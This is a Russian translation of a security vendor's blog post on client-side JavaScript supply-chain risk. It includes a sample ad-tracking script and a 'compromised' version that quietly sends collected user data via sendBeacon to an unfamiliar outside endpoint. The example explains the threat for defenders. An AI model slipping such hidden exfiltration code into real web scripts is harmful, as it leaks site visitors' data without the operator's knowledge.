За последние два десятилетия разработка масштабируемого веб-приложения и управление им развивались по-разному. В следующем посте мы расскажем, как некоторые из наиболее заметных изменений поставили операторов веб-приложений в затруднительную ситуацию.
Эволюция веб-приложений
С ростом глобальной пропускной способности Интернета, более мощными компьютерами и чрезвычайно мощными современными браузерами архитектура веб-приложений существенно изменилась в двух аспектах:
- Бурный рост веб-и мобильных приложений - количество веб-сайтов в 2019 году (1,6 миллиарда) в 8 раз больше, чем в 2010 году. Современные веб-сайты обычно содержат набор транзакционной логики, например финансовые транзакции. , идентичность в Интернете, покупки, бронирование, банковское дело, использование средств массовой информации и многое другое. многие из них управляются кодом Javascript от сторонних поставщиков. Со временем небольшие монолитные веб-сайты превратились в многокомпонентные системы, в которых каждый компонент практически автономен.
- Код веб-приложений перемещен на клиентскую сторону. Чтобы повысить производительность и удобство работы конечного пользователя, а также снизить нагрузку на обработку на стороне сервера, основная логика современных веб-приложений перенесена с сервера. - сторонняя обработка в интерфейсные библиотеки javascript. По данным httparchive.org, с ноября 2010 г. по январь 2019 г. внешний javascript-код вырос в размере более чем на 347% для настольных компьютеров и более чем на 593% для мобильных устройств и продолжает расти.
Эволюция команд разработчиков
С возрастающей сложностью процессов веб-разработки и многочисленными функциями, которые необходимы команде веб-разработчиков, команды веб-сайтов продолжают расти.
Фронтенд очень популярен - в результате перехода к разработке на стороне клиента веб-разработчики переходят на фронтенд или разработку полного стека. Фактически, к 2024 году ожидается рост числа рабочих мест веб-разработчиков на 27%, согласно данным U.S. Бюро статистики труда , а разработчик полного цикла занял второе место - лучшая работа прошлого года - в отчете Indeed Лучшие вакансии 2018 года .
Все сводится к тому, что над одной и той же кодовой базой работает гораздо больше «рук», проталкивая новый код в браузер.
Несколько лет назад одна команда отвечала за все аспекты разработки веб-приложений. Текущие проблемы создали динамическую ситуацию, когда несколько команд работают над одним и тем же веб-сайтом, каждая в своем разделе или слое, и часто полностью не синхронизированы для изменений, оказывающих взаимное влияние.
Развитие клиентского JavaScript
Когда-то разработчики полностью отвечали за исходный код веб-сайта. Сегодня все немного по-другому из-за следующих тенденций последних нескольких лет:
- Рост библиотек с открытым исходным кодом - тысячи библиотек с открытым исходным кодом сегодня составляют большую часть кодовой базы современных веб-приложений. CA Veracode недавно обнаружил, что 83 процента разработчиков используют компоненты кода для создания веб-приложений, а если посмотреть на интерфейсный код, то, вероятно, это намного больше.
- Большему количеству команд в компании требуются библиотеки javascript. Рынок более ориентирован на цифровые технологии, чем когда-либо. Благодаря многочисленным командам, от маркетинга, продаж и успешной работы с клиентами, использующих метрики отслеживания потенциальных клиентов, поддержку и виджеты чата до инженеров по надежности сайта, добавляющих услуги по повышению производительности и стабильности, использование сторонних библиотек javascript растет.
Это означает, что на клиентской стороне веб-сайта работают сценарии нескольких поставщиков, и этим поставщикам предоставляется больше данных.
Эти обстоятельства ставят разработчиков в положение ограниченного контроля над окончательным кодом, выполняемым в браузерах пользователей.
Все, что описано выше, привело к ситуации, когда стандартное веб-приложение легко превращается в большую систему, построенную из внутреннего кода, кода сторонних поставщиков и библиотек с открытым исходным кодом, которыми управляют разные команды, что подчеркивает проблему: повышенная уязвимость для клиента -боковые атаки. Краткое сканирование веб-сайтов Alexa Top 500 показывает, что в среднем веб-сайты загружают около 15 различных сторонних библиотек. Корень проблемы в том, что эти библиотеки статически загружаются на страницу с помощью встроенного фрагмента, но динамически изменяют свое содержимое в фоновом режиме, вне контроля владельца сайта.
Давайте различим основные источники этих модулей.
- Сторонние поставщики - это компании, с которыми веб-оператор заключает договор на предоставление услуг. Такие поставщики должны быть надежными (и во многих случаях соответствовать различным стандартам), но они обычно не обеспечивают видимости обновлений или изменений кода или возможности заблокировать конкретную версию, которая была проверена при первой интеграции.
- Библиотеки с открытым исходным кодом - предоставляя множество преимуществ и позволяя разработчикам блокировать версию и сохранять контроль, оператору сайта чрезвычайно сложно отслеживать и проверять весь код и изменения, а в некоторых случаях , Плохой игрок внес в такие библиотеки зараженный или уязвимый код.
Скрипты из обоих этих источников могут привести к поведенческим изменениям JavaScript на странице, влияя на такие факторы, как:
- Сетевые протоколы и сетевые направления
- Свойства хранилища (файлы cookie, локальное / сеансовое хранилище), к которым осуществляется доступ и которыми управляют, и связанные ключи хранилища
- Мутировавшие элементы DOM, которые могут повлиять на взаимодействие с пользователем
На самом деле, в современном процессе веб-разработки существует большой разрыв между уровнем надзора за изменениями внутреннего кода, доведенными до производственной среды, и исключительной легкостью изменения кода сторонним поставщиком без какого-либо надзора - в то время как оба они работают на одной и той же веб-странице.
В этой серии сообщений в блоге мы покажем, как на эту тенденцию нацеливаются злоумышленники, и предложим различные методы, которые могут помочь получить наглядность и лучшее понимание анализа внешнего кода и изменений в нем.
Давайте рассмотрим упрощенный пример того, как поведение сторонней библиотеки может измениться в результате взлома.
Это сторонняя библиотека для оптимизации рекламы, которая собирает показатели, связанные с рекламой, и была добавлена на веб-сайт отделом маркетинга. После взлома стороннего поставщика, предоставляющего эту услугу, поведение библиотеки изменилось.
Новое поведение библиотеки включает в себя потенциальную утечку конфиденциальных данных пользователей в незнакомую конечную точку HTTP без ведома веб-оператора, который ничего не может сделать, чтобы предотвратить или смягчить эту утечку данных.
Скрипт был добавлен в тег ‹head› с известного CDN
<head> <script src=”http://SOME-CDN.com/assets/ad_tracker.js"></script> </head>
Исходный ad_tracker.js
let EVENTS = [];
const TARGET_SERVER = 'https://events-server.com/api';
document.getElementById('ad').addEventListener("mousemove",
function (event) {
const lastPos = `${event.clientY},${event.clientX}`;
EVENTS.push(lastPos);
document.cookie = `lastpos=${lastPos}`;
if (EVENTS.length > 10) {
flashEvents();
}
}
);
function flashEvents() {
let xhr = new XMLHttpRequest();
xhr.open(‘POST’, TARGET_SERVER);
xhr.send(JSON.stringify(EVENTS));
EVENTS = [];
}
Давайте запишем поведение скрипта:
На этом этапе скрипт был нарушен, и с изменением содержимого изменилось и поведение скрипта.
Скрипт по-прежнему выполняет большинство действий, выполненных ранее, только теперь добавлены новые действия. Эти действия берут конфиденциальные данные, собранные исходным скриптом, и отправляют их в новую конечную точку для сохранения в незнакомой сущности хранилища браузера.
Содержание новой версии ad_tracker.js
let EVENTS = [];
const TARGET_SERVER = ‘https://events-server.com/api'
const TARGET_SERVER1 = ‘https://users-server.com/api'
document.getElementById(‘ad’).addEventListener(“mousemove”,
function (event) {
const lastPos = `${event.clientY},${event.clientX}`;
EVENTS.push(lastPos);
document.cookie = `lastpos_cookie=${lastPos}`;
/* User’s data is saved to a new storage entity */
localStorage.setItem(‘lastpos’, `${lastPos}`);
if (EVENTS.length > 10) {
flashEvents();
}
}
);
function flashEvents() {
let xhr = new XMLHttpRequest();
xhr.open(‘POST’, TARGET_SERVER);
xhr.send(JSON.stringify(EVENTS));
EVENTS = [];
if (navigator.sendBeacon) {
const data = “events=” + JSON.stringify(EVENTS);
/* User’s data is sent to a new HTTP endpoint */
navigator.sendBeacon(TARGET_SERVER1, data);
}
}
Вот как выглядит новая карта поведения скрипта:
Новые действия, выполняемые сторонней библиотекой, полностью невидимы для веб-разработчиков и SRE, ответственных за производительность и удобство работы сайта, а также за данные своих пользователей. Этот сценарий потенциально может отправлять конфиденциальные данные из локального хранилища в неизвестный домен, и они не уведомляются об изменениях такого рода и не имеют простого способа их контролировать.
Это всего лишь один пример того, что постоянно происходит на стороне клиента веб-сайтов, в результате чего оператор веб-сайта не видит значительной части активности на веб-сайте.
В следующем сообщении в блоге этой серии мы рассмотрим последствия под другим углом и поговорим о том, как эти изменения библиотек влияют на конечных пользователей и как это открывает дверь для утечек данных и угроз перехвата пользовательских сеансов. Следуйте за нами здесь.
Сообщение изначально было опубликовано по адресу https://www.perimeterx.com/blog/client-side-security-blindspot/ .
